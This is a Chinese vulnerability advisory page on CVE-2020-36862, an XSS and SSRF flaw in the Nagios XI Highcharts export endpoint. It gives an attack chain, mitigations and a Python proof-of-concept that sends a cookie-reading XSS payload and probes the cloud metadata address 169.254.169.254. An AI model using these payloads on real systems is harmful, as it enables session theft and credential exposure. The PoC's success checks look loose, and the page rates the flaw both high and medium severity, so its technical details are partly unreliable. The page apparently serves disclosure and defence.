IPBUF安全漏洞报告
English
CVE-2020-36862 CVSS 6.1 中危

CVE-2020-36862: Nagios XI Highcharts导出工具XSS与SSRF漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2020-36862
漏洞类型
XSS, SSRF
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI

相关标签

Nagios XIXSSSSRFHighchartsCVE-2020-36862跨站脚本服务器端请求伪造未经身份验证CVE-2020

漏洞概述

CVE-2020-36862是存在于Nagios XI 5.6.11之前版本中的一个高危安全漏洞,源于Highcharts本地导出工具的安全缺陷。该漏洞允许未经身份验证的远程攻击者利用两个独立的安全问题:(1) 存储型XSS跨站脚本攻击:由于输出编码不足,攻击者可以通过构造恶意导出请求将脚本代码注入到导出的内容中,当用户查看这些导出内容时,恶意脚本将在用户浏览器中执行;(2) 服务器端请求伪造(SSRF):攻击者可以诱导服务器向攻击者指定的任意URL发起请求,从而访问内部网络资源、读取敏感信息或探测内网服务。由于攻击者无需任何认证凭证即可发起攻击,且Nagios XI通常部署在企业网络核心位置,该漏洞可导致严重的数据泄露和内网横向移动风险。攻击成功需要目标用户查看攻击者构造的导出内容,具有一定的用户交互要求。

技术细节

该漏洞存在于Nagios XI的Highcharts本地导出组件中。当用户请求导出图表(如PNG、SVG或PDF格式)时,系统调用Highcharts的导出功能处理请求。问题在于:(1) XSS漏洞:导出请求中的参数(如图表标题、数据标签、坐标轴名称等)未经充分过滤和HTML实体编码即被嵌入到导出内容中。攻击者可构造包含<script>标签或事件处理器(如onerror、onload)的恶意数据,当导出内容被渲染时触发JavaScript执行;(2) SSRF漏洞:导出请求允许指定外部URL作为资源来源(如图片、字体等),服务器会使用curl或其他HTTP客户端获取这些资源。攻击者可以指定内网地址(如http://192.168.1.1/admin、http://localhost:6379等)或云元数据端点(如http://169.254.169.254/latest/meta-data/),从而探测内网服务或获取敏感凭证。攻击者通常先通过SSRF探测内网环境,再结合XSS窃取管理员会话或执行进一步的攻击。

攻击链分析

STEP 1
步骤1
攻击者识别目标Nagios XI服务器,发现Highcharts导出端点(/includes/components/highcharts/export.php)
STEP 2
步骤2
攻击者构造包含XSS payload的导出请求,将恶意脚本注入到图表标题、数据点或元数据中
STEP 3
步骤3
攻击者同时构造SSRF请求,指定内网地址(如云元数据服务、内部API端点)作为资源参数
STEP 4
步骤4
服务器处理导出请求时,执行SSRF访问攻击者指定的内网资源,泄露敏感信息或凭证
STEP 5
步骤5
攻击者将包含XSS payload的导出内容(如图表图片链接)通过钓鱼邮件或恶意页面诱导管理员访问
STEP 6
步骤6
当管理员浏览器加载导出内容时,XSS payload执行,窃取会话Cookie或执行管理员权限操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2020-36862 PoC - Nagios XI Highcharts XSS and SSRF Note: For authorized security testing only """ import requests import argparse TARGET = "http://target-nagios-xi.local" def test_xss_via_export(): """Test XSS vulnerability through Highcharts export""" xss_payload = "<img src=x onerror=alert(document.cookie)>" # Target endpoint for Highcharts export url = f"{TARGET}/includes/components/highcharts/export.php" # Crafted export request with XSS payload params = { 'type': 'image/png', 'options': f'{{"title":{{"text":"{xss_payload}"}}}}', 'width': 600, 'height': 400 } print(f"[*] Sending XSS payload to: {url}") try: response = requests.get(url, params=params, timeout=10) if xss_payload in response.text or response.status_code == 200: print("[+] XSS payload reflected in response") print(f"[+] Response length: {len(response.text)}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def test_ssrf_via_export(): """Test SSRF vulnerability through Highcharts export""" # Target internal service (example: AWS metadata) ssrf_target = "http://169.254.169.254/latest/meta-data/" url = f"{TARGET}/includes/components/highcharts/export.php" # Crafted export request with SSRF target params = { 'type': 'image/png', 'options': f'{{"chart":{{"type":"column"}}}}', 'resources': ssrf_target, 'width': 600, 'height': 400 } print(f"[*] Sending SSRF probe to: {ssrf_target}") try: response = requests.get(url, params=params, timeout=15) if response.status_code == 200 and len(response.text) > 0: print("[+] SSRF successful - internal resource accessed") print(f"[+] Response preview: {response.text[:200]}") return True except requests.RequestException as e: print(f"[-] SSRF request completed (may indicate vulnerability): {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2020-36862 PoC") parser.add_argument("--target", default=TARGET, help="Target Nagios XI URL") parser.add_argument("--test", choices=['xss', 'ssrf', 'all'], default='all') args = parser.parse_args() TARGET = args.target if args.test in ['xss', 'all']: print("\n=== Testing XSS ===") test_xss_via_export() if args.test in ['ssrf', 'all']: print("\n=== Testing SSRF ===") test_ssrf_via_export()

影响范围

Nagios XI < 5.6.11

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:(1) 在Web服务器层面限制对/export.php端点的访问,仅允许受信任的IP;(2) 使用Nginx或Apache配置规则过滤包含内网IP段(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)和云元数据地址(169.254.169.254)的请求参数;(3) 禁用或限制Highcharts导出功能的使用;(4) 加强对Nagios XI管理员账户的监控,及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表